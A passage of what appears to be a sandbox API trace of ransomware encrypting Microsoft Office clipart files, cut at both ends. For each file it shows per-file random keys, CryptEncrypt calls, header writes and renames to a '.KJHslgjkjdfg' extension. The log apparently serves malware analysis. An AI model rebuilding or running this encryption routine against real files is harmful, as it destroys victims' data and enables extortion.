pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.562] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.562] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.562] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.562] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.562] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.563] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.563] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.563] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.563] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd04, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd04, lpOverlapped=0x0) returned 1 [0190.563] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd10, dwBufLen=0xd10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd10) returned 1 [0190.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.563] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd10, lpOverlapped=0x0) returned 1 [0190.563] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.563] SetEndOfFile (hFile=0x130) returned 1 [0190.566] GetProcessHeap () returned 0x990000 [0190.566] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.566] GetProcessHeap () returned 0x990000 [0190.566] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.566] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.kjhslgjkjdfg")) returned 1 [0190.568] CloseHandle (hObject=0x130) returned 1 [0190.568] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x5b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090779.WMF", cAlternateFileName="")) returned 1 [0190.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.568] GetProcessHeap () returned 0x990000 [0190.568] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.568] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.569] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.569] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.569] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.569] GetProcessHeap () returned 0x990000 [0190.569] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.569] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.569] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.569] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.574] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.574] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.574] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.574] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.574] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.574] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.574] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.574] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.574] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5b0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5b0, lpOverlapped=0x0) returned 1 [0190.574] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5b0) returned 1 [0190.574] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.574] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5b0, lpOverlapped=0x0) returned 1 [0190.575] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.575] SetEndOfFile (hFile=0x130) returned 1 [0190.577] GetProcessHeap () returned 0x990000 [0190.577] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.577] GetProcessHeap () returned 0x990000 [0190.577] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.578] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.kjhslgjkjdfg")) returned 1 [0190.579] CloseHandle (hObject=0x130) returned 1 [0190.579] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x14c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090781.WMF", cAlternateFileName="")) returned 1 [0190.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.579] GetProcessHeap () returned 0x990000 [0190.579] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.580] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.580] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.580] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0190.582] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.582] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.582] GetProcessHeap () returned 0x990000 [0190.582] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.582] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.582] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.582] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.582] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.582] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.582] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.582] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.583] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.583] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.583] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.583] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.583] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x14c2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x14c2, lpOverlapped=0x0) returned 1 [0190.584] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14d0, dwBufLen=0x14d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14d0) returned 1 [0190.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.584] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x14d0, lpOverlapped=0x0) returned 1 [0190.584] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.584] SetEndOfFile (hFile=0x130) returned 1 [0190.587] GetProcessHeap () returned 0x990000 [0190.587] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.587] GetProcessHeap () returned 0x990000 [0190.587] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.587] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.kjhslgjkjdfg")) returned 1 [0190.588] CloseHandle (hObject=0x130) returned 1 [0190.588] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x1b16, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090783.WMF", cAlternateFileName="")) returned 1 [0190.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.589] GetProcessHeap () returned 0x990000 [0190.589] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.589] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.589] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.589] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0190.591] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.591] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.591] GetProcessHeap () returned 0x990000 [0190.591] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.591] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.591] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.591] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.592] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.592] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.592] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.592] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.592] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.592] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.592] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.592] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.592] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1b16, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1b16, lpOverlapped=0x0) returned 1 [0190.593] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b20, dwBufLen=0x1b20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b20) returned 1 [0190.593] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.593] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b20, lpOverlapped=0x0) returned 1 [0190.593] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.593] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1bf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.594] SetEndOfFile (hFile=0x130) returned 1 [0190.596] GetProcessHeap () returned 0x990000 [0190.596] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.596] GetProcessHeap () returned 0x990000 [0190.596] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.596] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.kjhslgjkjdfg")) returned 1 [0190.597] CloseHandle (hObject=0x130) returned 1 [0190.597] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa442, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0093905.WMF", cAlternateFileName="")) returned 1 [0190.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.599] GetProcessHeap () returned 0x990000 [0190.599] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.599] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.599] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.599] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0190.601] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.601] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.601] GetProcessHeap () returned 0x990000 [0190.601] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.601] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.601] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.601] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.601] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.601] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.602] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.602] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.602] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.602] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.602] CryptSetKeyParam (hKey=0x9b6628, 